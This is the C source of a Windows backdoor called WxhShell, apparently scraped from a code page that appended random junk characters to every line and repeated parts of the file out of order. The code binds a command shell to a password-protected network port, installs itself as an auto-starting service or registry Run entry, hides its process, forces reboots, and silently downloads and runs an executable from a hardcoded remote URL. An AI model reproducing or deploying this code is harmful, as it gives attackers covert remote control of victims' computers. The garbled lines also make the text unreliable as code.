    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - &LZle&M  
    else { I5 7<0  
    closesocket(wsh); K%~Kg9  
    ExitThread(0); {s^n|b}  
    } So0,)  
    break; ;jfXU_K  
    } oI"Fpo  
  // 获取shell SX<>6vH&  
  case 's': { t`/RcAwA  
    CmdShell(wsh); GVPEene  
    closesocket(wsh); 7*W$GCd8  
    ExitThread(0); SX94,5 _Q  
    break; AI`1N%Owi  
  } N=}Z#  
  // 退出 R yIaT  
  case 'x': { ;Z0cD*Jb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Kf~`0P  
    CloseIt(wsh); AZm)$@e)  
    break; oA^ ]x>  
    } JL+[1=uE1L  
  // 离开 )eVDp,.^  
  case 'q': { t@mw f3,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5+PBS)pJ]%  
    closesocket(wsh); /VOST^z!  
    WSACleanup(); RAJ |#I1  
    exit(1); ~V)VGGOL$v  
    break; mCP +7q7  
        } +(hwe jyC  
  } sjbC~Te--  
  } jF2GHyB  
#pxet  
  // 提示信息 |r!Qhb.!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;C@^wI  
} .ceU @^  
  } v}t :}M<;  
)HiTYV)]'  
  return; @G&xq "Fg7  
} 04LVa|Y@U  
:'Kx?Es   
// shell模块句柄 mr\L q~*c  
int CmdShell(SOCKET sock) F973U  
{ <qZ+U4@I)  
STARTUPINFO si; "U~@o4u;  
ZeroMemory(&si,sizeof(si)); <cd%n-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c35vjYQx0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o%s}jBo}  
PROCESS_INFORMATION ProcessInfo; Fd=`9N9  
char cmdline[]="cmd"; @g` ,'r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JaN_[ou  
  return 0; `9NnL.w!  
} <OFqUp*l  
23?0'AU  
// 自身启动模式  PW\FcT  
int StartFromService(void) V)?g4M3}  
{ lAt1Mq} ?P  
typedef struct Ny<G2! W  
{ H%jIjf  
  DWORD ExitStatus; 4E94W,1%,Y  
  DWORD PebBaseAddress; $6+P&"8  
  DWORD AffinityMask; = nN*9HRD  
  DWORD BasePriority; |xC TX  
  ULONG UniqueProcessId; mh SsOmJ5  
  ULONG InheritedFromUniqueProcessId; vWga>IGM  
}   PROCESS_BASIC_INFORMATION; LU=)\U@Q  
f*@:{2I.v  
PROCNTQSIP NtQueryInformationProcess; Z1}zf( JU  
<W{0@?y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "+Yn;9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YR`rg;n#  
F#R\Ot,hv  
  HANDLE             hProcess;  K8we*  
  PROCESS_BASIC_INFORMATION pbi; soCHwiE  
_ o3}Ly}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c.> (/  
  if(NULL == hInst ) return 0; fXQRsL8 ]  
"C|l3X'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G+p>39P   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nWsz0v3'9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PA[Rhoit,  
s&hP^tKT  
  if (!NtQueryInformationProcess) return 0; `h]f(  
JQ4>S<ttJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +`[Sv%v&L  
  if(!hProcess) return 0; P.P>@@+d  
oVgNG!/c0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }# ^Pb M  
y=`(`|YW}`  
  CloseHandle(hProcess); 2C&%UZim;P  
d+)L\ `4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \5_^P{p7<  
if(hProcess==NULL) return 0; (LPc\\Vv  
4(gf!U  
HMODULE hMod; p-Btbhv  
char procName[255]; K Hc+  
unsigned long cbNeeded; e4LNnJU\|  
t fQq3#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (HxF\#r?  
^%^0x'"  
  CloseHandle(hProcess); 9jO+ew  
N$b;8F  
if(strstr(procName,"services")) return 1; // 以服务启动 I'YotV7  
(`xnA~BN  
  return 0; // 注册表启动 dkC/ ?R  
} B\yq% m  
pP& M]'  
// 主模块 ^a5>`W  
int StartWxhshell(LPSTR lpCmdLine) a"4 6_>  
{ z#/*LP#oY  
  SOCKET wsl; c^k. <EA  
BOOL val=TRUE; -qF|Y f  
  int port=0; rpWy 6oD  
  struct sockaddr_in door; #+\G- =-  
b>EUa> h  
  if(wscfg.ws_autoins) Install(); /ep~/#Ia  
?8/h3xV;  
port=atoi(lpCmdLine); ]vErF=[U,  
';F][x5j  
if(port<=0) port=wscfg.ws_port; 1>{(dd?L  
)P])0Y-  
  WSADATA data; {D#`+uw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xx8na8  
 (v}:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YJ$ =`lIM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kRPg^Fw"Vw  
  door.sin_family = AF_INET; Awh)@iTL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hq$ |j,&?  
  door.sin_port = htons(port); NR{:4zJT  
4r&~=up]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '~ 0&m]N  
closesocket(wsl); a/fYD2uNo  
return 1; _{%H*PxTn=  
} \eCdGx?  
AJ u.  
  if(listen(wsl,2) == INVALID_SOCKET) { A\Gw+l<h,  
closesocket(wsl); IgL8u  
return 1; *Y~64FM  
} Po3W+; @  
  Wxhshell(wsl); ^Du_e(TiyK  
  WSACleanup(); ZxQP,Ys_Y  
8b!_b2Za  
return 0; F^-4Pyq@  
@dNbL}qQ  
} <5%We(3  
Q{60^vg  
// 以NT服务方式启动 7j8_O@_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;q2T*4NN  
{ P9vROzXK  
DWORD   status = 0; [G*mQ@G9  
  DWORD   specificError = 0xfffffff; ;U&VPIX$  
Z)%p,DiNM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e`^j_V nEH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |~Iw   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AP%h!b5v  
  serviceStatus.dwWin32ExitCode     = 0; T*m_rDDt  
  serviceStatus.dwServiceSpecificExitCode = 0; 9`AQsZ2  
  serviceStatus.dwCheckPoint       = 0; U^D7T|P$V  
  serviceStatus.dwWaitHint       = 0; b8&9pLl  
,fn=%tiUk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }=gGs  
  if (hServiceStatusHandle==0) return; <*P1Sd.  
O/Vue  
status = GetLastError(); "/5b3^a  
  if (status!=NO_ERROR) XJ9>a-{  
{ 2Z~o frj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gN%R-e0  
    serviceStatus.dwCheckPoint       = 0; `Ec+i  
    serviceStatus.dwWaitHint       = 0; MZ'HMYed   
    serviceStatus.dwWin32ExitCode     = status; ZUycJ-[  
    serviceStatus.dwServiceSpecificExitCode = specificError; [aC(Ga}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }- Sr@bE  
    return; RiklwR#~r/  
  } Nsq%b?#  
=[kv@ p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UuGv= yC^6  
  serviceStatus.dwCheckPoint       = 0; *6L^A`_1]  
  serviceStatus.dwWaitHint       = 0; uY,FugWbl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x/~M=][tN  
} 3-'|hb  
~gN'";1i  
// 处理NT服务事件,比如:启动、停止 ]CjODa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e]QkZg2?Yn  
{ V]2Q92  
switch(fdwControl) -84Z8?_  
{ aO1cd_d6x_  
case SERVICE_CONTROL_STOP: gE1".qC  
  serviceStatus.dwWin32ExitCode = 0; ryN-d%t?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |d K-r  
  serviceStatus.dwCheckPoint   = 0; /+u*9ZR&1  
  serviceStatus.dwWaitHint     = 0; )8;'fE[p}  
  { bHCd|4e,2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vq\6c  
  }  (c"!0v  
  return; IF=rD-x  
case SERVICE_CONTROL_PAUSE: N@g+51ye  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l-&f81W  
  break; -nW-I\d%  
case SERVICE_CONTROL_CONTINUE: \ iFE,z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (ZYOm  
  break; @cON"(  
case SERVICE_CONTROL_INTERROGATE: dZ*o H#B  
  break; LBg#KQ @  
}; +]#>6/2q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V47 Fp  
} @azS)4L  
jVDNThm+  
// 标准应用程序主函数 1na[=Q2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E] [DVY  
{ a <3oyY'  
^P[*yf  
// 获取操作系统版本 UxW~yk  
OsIsNt=GetOsVer(); bWqGy pq4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QO8/?^d  
 [7bY(  
  // 从命令行安装 +=R:n^r^,  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?NL2|8  
7Ny>W(8  
  // 下载执行文件 .+y#7-#6  
if(wscfg.ws_downexe) { {1o=/&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }V 1sY^C  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0t) IW D  
} fqcyCu7Ep  
-I -wdyDr  
if(!OsIsNt) { -$7Jc=:>  
// 如果时win9x,隐藏进程并且设置为注册表启动 /<mc~S7  
HideProc(); \sk,3b-&'  
StartWxhshell(lpCmdLine); "-a>Uj")%  
} yH Cc@`1.  
else 7Qo*u;fr  
  if(StartFromService()) ]SQ_*$`  
  // 以服务方式启动 @t_<oOI2  
  StartServiceCtrlDispatcher(DispatchTable); * 08LW|:,  
else r )T`?y  
  // 普通方式启动 t*COzE  
  StartWxhshell(lpCmdLine); [\VzI\vb  
0xC!d-VIJ  
return 0; zmdOL9"a  
} .8"o&%$`V  
{S|uQgs6j  
+/ #J]v-  
cJt#8P  
=========================================== n1H*][CK  
lB-Njr  
})J]D~!p  
B$\5=[U  
9U+^8,5  
3LEN~ N}  
" DU;]Q:r{  
A) qOJ(OEz  
#include <stdio.h> ^0r @",  
#include <string.h> e@6}?q;  
#include <windows.h> &P\T{d2"  
#include <winsock2.h> 9Vp$A$7M  
#include <winsvc.h> f`?|A  
#include <urlmon.h> U8moVj8w1  
`aCcTs7~]p  
#pragma comment (lib, "Ws2_32.lib") zP5HTEz  
#pragma comment (lib, "urlmon.lib") rIu>JyC"p  
\\[P^ tsF  
#define MAX_USER   100 // 最大客户端连接数 1f}Dza9  
#define BUF_SOCK   200 // sock buffer a1?Y7(alPU  
#define KEY_BUFF   255 // 输入 buffer y_\d[  
Qc6323/"  
#define REBOOT     0   // 重启 [ P 8e=;  
#define SHUTDOWN   1   // 关机 a+ ]@$8+  
2^|*M@3r  
#define DEF_PORT   5000 // 监听端口 j3$KYf`T}  
F.JE$)B2EX  
#define REG_LEN     16   // 注册表键长度 nF7Ozxm#  
#define SVC_LEN     80   // NT服务名长度 ^f4qs  
b+w|3bQa  
// 从dll定义API tf>?;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b6#V0bDXHD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~V(WD;Mk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k&9 b&-=fk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ](^xA `  
]E,  
// wxhshell配置信息 =s;7T!7!  
struct WSCFG { : G<1   
  int ws_port;         // 监听端口 OYe @P  
  char ws_passstr[REG_LEN]; // 口令 .rwZ`MP  
  int ws_autoins;       // 安装标记, 1=yes 0=no !W8$-iq  
  char ws_regname[REG_LEN]; // 注册表键名 dD#A.C,Rz  
  char ws_svcname[REG_LEN]; // 服务名 S]k<Ixvf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ETYw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d kPfdK}G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *`|F?wF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XWK A0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 ,Y-_e)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1;SWfKU?.  
c\n\gQ:LQ  
}; `2 {x 8A  
tM~R?9OaJ  
// default Wxhshell configuration ,*Sj7qb#  
struct WSCFG wscfg={DEF_PORT, y+@7k3"  
    "xuhuanlingzhe", =T!M`  
    1, S?;&vs9j  
    "Wxhshell", 9^ )=N=wV  
    "Wxhshell", #p0vrQ;5f  
            "WxhShell Service", I:[3x2H  
    "Wrsky Windows CmdShell Service", {G_ZEo#x8,  
    "Please Input Your Password: ", ) _"`{2  
  1, \  VJ3  
  "http://www.wrsky.com/wxhshell.exe", )~rN{W<s`H  
  "Wxhshell.exe" GBN^ *I  
    }; ~fEgrF d  
7?e*b(vd  
// 消息定义模块 q0$}MB6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i{xgygp6f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _bu, 1EM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s-Bpd#G>/  
char *msg_ws_ext="\n\rExit."; {73Z$w1%  
char *msg_ws_end="\n\rQuit."; `}"*i_0-5'  
char *msg_ws_boot="\n\rReboot..."; ;ZB[g78%R%  
char *msg_ws_poff="\n\rShutdown..."; UZv^3_,qz  
char *msg_ws_down="\n\rSave to "; IrJCZsk  
e5C560  
char *msg_ws_err="\n\rErr!"; }>>BKn   
char *msg_ws_ok="\n\rOK!"; V{ECDg P  
a*! wiTGf  
char ExeFile[MAX_PATH]; "4|D"|wI)  
int nUser = 0; r:<UV^; 9l  
HANDLE handles[MAX_USER]; X& pK#=  
int OsIsNt; p Gzzv{H  
!Mceg  
SERVICE_STATUS       serviceStatus; fC52nK&T8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3 rV)JA  
#D&eov?  
// 函数声明 =rGjOb3+  
int Install(void); vEk jd#  
int Uninstall(void); g&) XaF[!  
int DownloadFile(char *sURL, SOCKET wsh); G)G5eXXX  
int Boot(int flag); UOi8>;k`  
void HideProc(void); "}Vow^vb  
int GetOsVer(void); >d&B:  
int Wxhshell(SOCKET wsl); &V:iy  
void TalkWithClient(void *cs); gYw4YP0Gz  
int CmdShell(SOCKET sock); D `c YQ-  
int StartFromService(void); k9xfv@v}  
int StartWxhshell(LPSTR lpCmdLine); iO~3rWQ  
<x *.M"6?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ??Q'| r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tY~EB.%  
~sx?aiO  
// 数据结构和表定义 3[amCKel  
SERVICE_TABLE_ENTRY DispatchTable[] = _f8Wa u# "  
{ &82Za%  
{wscfg.ws_svcname, NTServiceMain}, \x5b=~/   
{NULL, NULL} ^giseWR(  
}; '1_CMr  
$OldHe[p  
// 自我安装 gDa}8!+i  
int Install(void) =`Pgo5A  
{ sEm-Td+A5  
  char svExeFile[MAX_PATH]; mfc\w'  
  HKEY key; pa*bqPi  
  strcpy(svExeFile,ExeFile); 3dTz$s/[  
8m\* ~IX=  
// 如果是win9x系统,修改注册表设为自启动 fucG 9B  
if(!OsIsNt) { Q30A aG}f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~7IXJeon  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "AMbU6 8  
  RegCloseKey(key); _o`+c wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?A+-k4l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yY_Zq\   
  RegCloseKey(key); p"\Z@c  
  return 0; JTA65T{3  
    } t2uX+1F  
  } $aDAD4mmm  
} \R\?`8O rz  
else { p#g o<Y#  
Q'>pOtJG*J  
// 如果是NT以上系统,安装为系统服务 )O*\}6:S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3|x*lmit  
if (schSCManager!=0) :[YHJaK  
{ LX2rg\a+%  
  SC_HANDLE schService = CreateService P|%uB'|H  
  ( <[Oe.0SGu  
  schSCManager, ia6%>^  
  wscfg.ws_svcname, P|*c7+q  
  wscfg.ws_svcdisp, C@1B?OfJ  
  SERVICE_ALL_ACCESS, ]-]K4*{   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f9ux+XQk9  
  SERVICE_AUTO_START, k+b!Lw!L  
  SERVICE_ERROR_NORMAL, ;+jz=9Q-  
  svExeFile, jMr[ UZ  
  NULL, /vO8s??  
  NULL, =z#6mSx|W  
  NULL, i[_B~/_  
  NULL, '-c *S]:r  
  NULL /6",#B}%b  
  ); |7ct2o~un  
  if (schService!=0) xU<WUfS1  
  { W>W b|W  
  CloseServiceHandle(schService); Vi1l^ Za  
  CloseServiceHandle(schSCManager); S\5%nz \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v_^>*Vm*  
  strcat(svExeFile,wscfg.ws_svcname); |z1er"zR)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 89n\$7Ff9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &Z'3n9zl  
  RegCloseKey(key); 6)=`&>9  
  return 0; Hw29V //  
    } ,6VY S\a3  
  } X6 E^5m  
  CloseServiceHandle(schSCManager); o0ky]9 P  
} t^Z-0jH  
} gi {rqM  
k4T`{s}e  
return 1; HE!"3S2S&+  
} 0MpZdJ  
=)b!M^=X-a  
// 自我卸载 @~7y\G  
int Uninstall(void) =1#obB  
{ m4\e `nl  
  HKEY key; D *=.;Rq  
yK+1C68A  
if(!OsIsNt) { eYtP396C|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <cm(QNdcC  
  RegDeleteValue(key,wscfg.ws_regname);  GY`mF1b  
  RegCloseKey(key); /tdRUX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (}B3df  
  RegDeleteValue(key,wscfg.ws_regname); E)>.2{]C>  
  RegCloseKey(key); okm }%#|  
  return 0; O}s Mqh  
  } P*6h $T  
} Hnft1   
} VEsIhjQ  
else { 6+ UTEw;  
^=Dz)95c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LO;7NK  
if (schSCManager!=0) m+|yk.md  
{ k%D|17I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gUr #3#  
  if (schService!=0) h;[<4zw  
  { 1u8 k}  
  if(DeleteService(schService)!=0) { g{6FpuA|0  
  CloseServiceHandle(schService); 5 6JxHQu  
  CloseServiceHandle(schSCManager); z!s1$5:"0  
  return 0; ~n=oPm$pR  
  } 6L<Y   
  CloseServiceHandle(schService); jWL%*dJrN  
  } ]Z IreI  
  CloseServiceHandle(schSCManager); +7 \"^D  
}  L}=DC =E  
} z{H=;"+rh  
gCV+amP  
return 1; f/95}6M  
} &M>o  
vc%=V^)N7U  
// 从指定url下载文件 gp+aUK~o  
int DownloadFile(char *sURL, SOCKET wsh) b^:frjaE3  
{ ^]5^p9Jt"e  
  HRESULT hr; k3+LP7|*  
char seps[]= "/"; 0gRm LX  
char *token; 1'B&e)  
char *file; )TfX}  
char myURL[MAX_PATH]; 70<{tjyc  
char myFILE[MAX_PATH]; , Dab(  
??#SQSU  
strcpy(myURL,sURL); "T@9#7Obu  
  token=strtok(myURL,seps); 'pnOHT  
  while(token!=NULL) !tzk7D  
  { M]Hf>7p  
    file=token; T@jv0/(+  
  token=strtok(NULL,seps); 6bDizS}  
  } dOT7;@   
7#&e0fw/I  
GetCurrentDirectory(MAX_PATH,myFILE); %(1Jt "9|  
strcat(myFILE, "\\"); f"z;'  
strcat(myFILE, file); T' =6_?7K4  
  send(wsh,myFILE,strlen(myFILE),0); {TXfi'\  
send(wsh,"...",3,0); yUjkRT&h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (u4'*[o\t  
  if(hr==S_OK) -}1TT@  
return 0; MWv(/_b  
else od)ssL&E~  
return 1; []jbzVwS2  
F'-,Ksn  
} qizQt]l  
Mt4*`CxtH;  
// 系统电源模块 k:F{U^!p|  
int Boot(int flag) s<+;5, Q|  
{ K&VMhMVb  
  HANDLE hToken; r=HL!XFk  
  TOKEN_PRIVILEGES tkp; bU\T  
I~GHx5Dk  
  if(OsIsNt) { l(9AwVoAR|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]D&U} n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dz&,g+>$J  
    tkp.PrivilegeCount = 1; "TI>_~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %'uei4   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /|8rVYSs  
if(flag==REBOOT) { IczMf%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) | |L^yI~_d  
  return 0; &5[B\yv  
} Wo(m:q(Om  
else { Eunmc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lc3N i<3v  
  return 0; a!EW[|[Q  
} ;t M  
  } Y2IMHN tH  
  else { $ V !25jQ  
if(flag==REBOOT) { p, T4BO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 34QW^{dgE  
  return 0; I7W`\d)  
} g[*"LOw  
else { _pmo 6O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :uJHFF xg  
  return 0; 9}_'  
} i;atYltEJ2  
} &e78xtA{  
X~cdM1z?  
return 1; cm0$v8  
} @+0dgkJ  
- ~4na{6x  
// win9x进程隐藏模块  =W&m{F96  
void HideProc(void) ~{$c|  
{ M0g=gmau  
*+XiBho  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +/bD9x1H  
  if ( hKernel != NULL ) s(?%A  
  { (d/!M n6L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A2ufET  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q65]bs4M  
    FreeLibrary(hKernel); $Dd-2p   
  } -&Q+x,.%  
artn _  
return; dz^b(q  
} P,xIDj4d  
^?wR{q"8  
// 获取操作系统版本 M.xZU\'ty  
int GetOsVer(void) D2GF4%|  
{ }'?qUy3x  
  OSVERSIONINFO winfo; 8A5/jqnqt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x4/{XRQ  
  GetVersionEx(&winfo); 6{{<+ o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {kBsiSvsA;  
  return 1; ]28j$)6  
  else QT5pn5+ z  
  return 0; t\h4-dJn  
} _Hd|y  
|Y8}*C\M.h  
// 客户端句柄模块 1szObhN-l  
int Wxhshell(SOCKET wsl) Z\]{{;%4b7  
{ )&O6d .  
  SOCKET wsh; R(*t 1R\  
  struct sockaddr_in client; RO|8NC<oj  
  DWORD myID; <W>A }}q  
~ g-(  
  while(nUser<MAX_USER) m"-kkH{I  
{ c1r+?q$f  
  int nSize=sizeof(client); m)LI| v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jO/cdLKX(  
  if(wsh==INVALID_SOCKET) return 1; Faa>bc~E  
{6WG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q 7 <d|s  
if(handles[nUser]==0) OR*JWW[]  
  closesocket(wsh); 3HBh 3p5  
else +q;{ %3C  
  nUser++; hv?T}E  
  } "M@&*<S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,Tu.cg  
PO8Z2"WI  
  return 0; #0vda'q=j  
} ; o Y|~  
|d&C<O;f  
// 关闭 socket  ,vO\n^  
void CloseIt(SOCKET wsh) 7#d:TXS  
{ wJ pb$;  
closesocket(wsh); @HiGc^ X(  
nUser--; wV iTMlq  
ExitThread(0); M.6uWwzQR  
} -KV,l  
$,J0) ~  
// 客户端请求句柄 4H (8BNgzV  
void TalkWithClient(void *cs) 2m]4  
{ ErJ/h?+  
#g0_8>t  
  SOCKET wsh=(SOCKET)cs; #HH[D;z  
  char pwd[SVC_LEN]; $,J}w%A  
  char cmd[KEY_BUFF]; ,(a~vqNQW3  
char chr[1]; ]{q=9DczG(  
int i,j; qJ(uak  
K#N9N@WjR  
  while (nUser < MAX_USER) { ZG2EOy  
rAAx]nQ@  
if(wscfg.ws_passstr) { >Oj$ Dn=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;l~a|KW0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {hJCn*m_   
  //ZeroMemory(pwd,KEY_BUFF); xs\<!  
      i=0; s+v9H10R  
  while(i<SVC_LEN) { /&Cq-W  
1U#W=Fg'  
  // 设置超时 _B#x{ii  
  fd_set FdRead; jrFPd  
  struct timeval TimeOut; B1J,4  
  FD_ZERO(&FdRead); yf0v,]v[  
  FD_SET(wsh,&FdRead); u6F>o+Td)  
  TimeOut.tv_sec=8; as]M%|/-I  
  TimeOut.tv_usec=0; Im\ ~x~{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BO4;S/ O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `,xO~_ e>  
'G~i;o  2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K}cA%Y  
  pwd=chr[0]; g-wE(L  
  if(chr[0]==0xd || chr[0]==0xa) { !.X/(R7J  
  pwd=0; ]W$G!(3A  
  break; Wz=& 0>Mm_  
  } Dk a8[z7  
  i++; N2U&TCc  
    } 0?8>{!I  
_hyqHvP  
  // 如果是非法用户,关闭 socket 9#9bm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v0dzM/?*  
} qbsod  
>;1w-n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pP1DR'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HEbL'fw^s  
<uv `)Q9  
while(1) { X Vt;hO  
Y @'do)  
  ZeroMemory(cmd,KEY_BUFF); ]T'8O`  
"i(f+N,)  
      // 自动支持客户端 telnet标准   c:Cw #  
  j=0; 'DVn /3?X  
  while(j<KEY_BUFF) { K=o {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJPIAN~l  
  cmd[j]=chr[0]; & ;.rPU  
  if(chr[0]==0xa || chr[0]==0xd) { &_-=(rK  
  cmd[j]=0; 5I2 h(Td  
  break; uP%VL}% 0  
  } ed/B.SY  
  j++; v~Dobk/n  
    } F?R6zvive  
?_d>-NC  
  // 下载文件 8|{ZcW  
  if(strstr(cmd,"http://")) { 8tR6.09'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J)B3o$  
  if(DownloadFile(cmd,wsh)) L!l?tM o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o.NU"$\?  
  else &4|]VOf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lqv}~MC  
  } YT oG'#qs  
  else { W|@SXO)DY  
l![79 eFp  
    switch(cmd[0]) { 5I6?gv/  
  S+[,\>pY  
  // 帮助 ]^.`}Y=`g  
  case '?': { {$[0YRNk u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bf00&PE;  
